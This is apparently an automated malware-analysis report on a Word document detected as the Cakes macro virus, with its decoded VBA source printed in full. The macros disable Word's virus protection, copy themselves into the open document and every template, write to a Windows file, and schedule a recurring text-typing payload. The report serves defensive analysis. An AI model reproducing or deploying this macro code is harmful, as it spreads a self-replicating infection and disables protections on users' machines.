MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a Microsoft Word document containing a legacy WordBasic AutoOpen macro. The macro attempts to disable virus protection and copy itself to other document templates, which is a common technique for establishing persistence or spreading malware. The ClamAV detection 'Doc.Trojan.Cakes-1' further supports a malicious classification.
Heuristics 4
-
ClamAV: Doc.Trojan.Cakes-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Cakes-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9293 bytes |
SHA-256: ed886dcda0ea372023d2a5198df6595c00600979be4f17093c63d882f89c0f1a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "L_"
'V1.1
'4/10/97
'MJRN-MF-TA
Const Refresh = "00:50:00"
Const Boom = "28/3/"
Sub AutoNew()
Options.VirusProtection = False
On Error Resume Next
Application.OrganizerCopy _
Source:=ThisDocument.FullName, _
Destination:=ActiveDocument.FullName, _
Name:="L_", _
Object:=wdOrganizerObjectProjectItems
For Each d In Templates
If (ThisDocument.FullName <> d.FullName) Then
Application.OrganizerDelete _
Source:=d.FullName, _
Name:="L_", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy _
Source:=ThisDocument.FullName, _
Destination:=d.FullName, _
Name:="L_", _
Object:=wdOrganizerObjectProjectItems
d.Save
End If
Next d
End Sub
Sub AutoOpen()
Options.VirusProtection = False
On Error Resume Next
If (ThisDocument.FullName <> ActiveDocument.FullName) Then
Application.OrganizerDelete _
Source:=ActiveDocument.FullName, _
Name:="L_", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy _
Source:=ThisDocument.FullName, _
Destination:=ActiveDocument.FullName, _
Name:="L_", _
Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
End If
For Each d In Templates
If (ThisDocument.FullName <> d.FullName) Then
Application.OrganizerDelete _
Source:=d.FullName, _
Name:="L_", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy _
Source:=ThisDocument.FullName, _
Destination:=d.FullName, _
Name:="L_", _
Object:=wdOrganizerObjectProjectItems
d.Save
End If
Next d
End Sub
Sub AutoExec()
Options.VirusProtection = False
On Error Resume Next
Dim f As Integer
f = FreeFile
Dim c As Integer
Open "C:\WINDOWS\MAJORANA.E" For Append As f Len = Len(c)
c = Rnd * 1000
Write #f, c
Close f
Dim v As Date
v = DateValue(Boom & Year(Now))
If (Date >= v) And (Date <= v + 2) Then
Application.OnTime when:=Now + TimeValue(Refresh), Name:="L_.effetto"
Else
Application.OnTime when:=Now + TimeValue(Refresh), Name:="L_.effetto2"
End If
End Sub
Sub effetto()
On Error Resume Next
v = MsgBox("Hello! This is time of cakes.", , "Hello?")
End Sub
Sub effetto2()
On Error Resume Next
s = " Ettore Majorana (1906-1938?) "
Selection.TypeText Text:=s
Application.OnTime when:=Now + TimeValue(Refresh), Name:="L_.effetto2"
End Sub
' Processing file: /opt/analyzer/scan_staging/bec02a1237384bb28c1e4b5d9e363a44.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/L_ - 4248 bytes
' Line #0:
' QuoteRem 0x0000 0x0004 "V1.1"
' Line #1:
' QuoteRem 0x0000 0x0007 "4/10/97"
' Line #2:
' QuoteRem 0x0000 0x000A "MJRN-MF-TA"
' Line #3:
' Dim (Const)
' LitStr 0x0008 "00:50:00"
' VarDefn Refresh
' Line #4:
' Dim (Const)
' LitStr 0x0005 "28/3/"
' VarDefn Boom
' Line #5:
' FuncDefn (Sub AutoNew())
' Line #6:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #7:
' OnError (Resume Next)
' Line #8:
' LineCont 0x0010 03 00 0C 00 09 00 0C 00 0F 00 0C 00 13 00 0C 00
' Ld ThisDocument
' MemLd FullName
' ParamNamed Source
' Ld ActiveDocument
' MemLd Fu
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.